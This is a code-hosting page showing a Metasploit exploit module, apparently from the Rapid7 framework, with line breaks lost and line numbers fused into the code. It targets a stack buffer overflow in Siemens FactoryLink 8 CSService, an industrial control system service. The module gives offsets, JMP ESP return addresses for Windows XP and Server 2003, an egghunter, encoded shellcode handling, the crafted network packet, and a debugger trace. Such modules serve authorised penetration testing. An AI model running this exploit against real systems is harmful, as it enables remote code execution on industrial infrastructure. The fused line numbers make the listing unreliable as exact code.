Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/factorylink_csservice.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Egghunter1011def initialize(info={})12super(update_info(info,13'Name' => "Siemens FactoryLink 8 CSService Logging Path Param Buffer Overflow",14'Description' => %q{15This module exploits a vulnerability found on Siemens FactoryLink 8. The16vulnerability occurs when CSService.exe processes a CSMSG_ListFiles_REQ message,17the user-supplied path first gets converted to ANSI format (CodePage 0), and then18gets handled by a logging routine where proper bounds checking is not done,19therefore causing a stack-based buffer overflow, and results arbitrary code execution.20},21'License' => MSF_LICENSE,22'Author' =>23[24'Luigi Auriemma <aluigi[at]autistici.org>', #Initial discovery, poc25'sinn3r', #Metasploit (thx hal)26],27'References' =>28[29['OSVDB', '72812'],30['URL', 'http://aluigi.altervista.org/adv/factorylink_1-adv.txt'],31['URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-091-01']32],33'Payload' =>34{35'BadChars' => "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f",36'StackAdjustment' => -3500,37'EncoderType' => Msf::Encoder::Type::AlphanumMixed,38'EncoderOptions' => {'BufferRegister'=>'ECX'},39},40'DefaultOptions' =>41{42'EXITFUNC' => "process",43},44'Platform' => 'win',45'Targets' =>46[47[48'Windows XP SP3',49{50'Offset' => 965, #Offset to overwrite RETN51'Ret' => 0x7e4456f7, #JMP ESP in USER32.dll52'Max' => 1400, #Max buffer used53}54],55[56'Windows Server 2003 SP0',57{58'Offset' => 965,59'Ret' => 0x77d20738, #JMP ESP in USER32.dll60'Max' => 1400,61}62]63],64'Privileged' => false,65'DisclosureDate' => '2011-03-25'))6667register_options(68[69Opt::RPORT(7580)70])71end7273#User input will get converted back to ANSCI with WideCharToMultiByte before vsprintf74def to_unicode(text)75output = ''76(text.length).times do |i|77output << text[i,1] << "\x00"78end79return output80end8182def exploit8384#Modify payload85#XP = Align EAX 0x3a bytes. Win2k3SP0 = 0x0a bytes86p = "\x57" #PUSH EDI87p << "\x59" #POP ECX88p << ((target.name =~ /server 2003/i) ? "\xb0\x0a" : "\xb0\x3a")89p << "\x30\xc1" #XOR CL,AL90p << payload.encoded9192#Meterpreter tends to fail because of it being mangled. We use an egghunter93#instead to ensure the payload's integrity.94egg_options =95{96:checksum => true,97:eggtag => "W00T",98}99100egghunter, p = generate_egghunter(p, payload_badchars, egg_options)101102#x86/alpha_mixed egghunter103alpha_encoder = framework.encoders.create("x86/alpha_mixed")104alpha_encoder.datastore.import_options_from_hash( {'BufferRegister'=>'ESP'} )105egghunter = alpha_encoder.encode(egghunter, nil, nil, platform)106107sploit = ''108sploit << make_nops(4)109sploit << p110sploit << rand_text_alpha(965-sploit.length)111sploit << [target.ret].pack('V*')112sploit << egghunter113114sploit << rand_text_alpha(target['Max']-sploit.length)115sploit = to_unicode(sploit)116117pkt = "\x00\x00\x4c\x45\x4e\x00\x40\x0b\x00\x00\x00\x00\x00\x00\x99\x00\x00\x00\x04\x00"118pkt << "\x00\x00\x01\x07\x00\x00\x0b\x31\x99\x62\x72\x6b\x01\x00\x00\x00\x02\x04\x00\x00"119pkt << "\x00\x04\x00\x00\x00\x01\x07\x00\x00\x0b\x19\x99\x00\x00\x00\x06\x00\x00\x00\x03"120pkt << "\x06\x00\x00\x0a\xf6\x11\x22\x33\x44"121pkt << sploit122pkt << "\x00\x00\x06\x00\x00\x00\x06\x11\x22\x33\x44\x00\x00\x04\x00\x00\x00\x04\x00\x00"123pkt << "\x00\x01\x99\x99\x99"124125print_status("Sending malicious request to remote host...")126127connect128sock.put(pkt)129handler130select(nil, nil, nil, 6)131disconnect132end133end134135=begin1360:000> g137call vsprintf. Destination=0x0012ead0 Format=0x0043b92c Args=0x0012eedc138eax=0012eedc ebx=7c809a99 ecx=0043b92c edx=0012ead0 esi=0012eee8 edi=00000002139eip=0040b908 esp=0012eac4 ebp=0012fabc iopl=0 nv up ei pl nz na po nc140cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202141CSService+0xb908:1420040b908 ff15249b4400 call dword ptr [CSService+0x49b24 (00449b24)] ds:0023:00449b24={msvcrt!vsprintf (77c3fe49)}1431440:000> dc 0012ead01450012ead0 65535343 63697672 43203a65 47534d53 CSService: CSMSG1460012eae0 73694c5f 6c694674 525f7365 2d205145 _ListFiles_REQ -1470012eaf0 6f685320 72694477 2c303d73 6c694620 ShowDirs=0, Fil1480012eb00 3d726574 6150202c 613d6874 61616161 ter=, Path=aaaaa1490012eb10 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa1500012eb20 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa1510012eb30 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa1520012eb40 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa153154=end155156157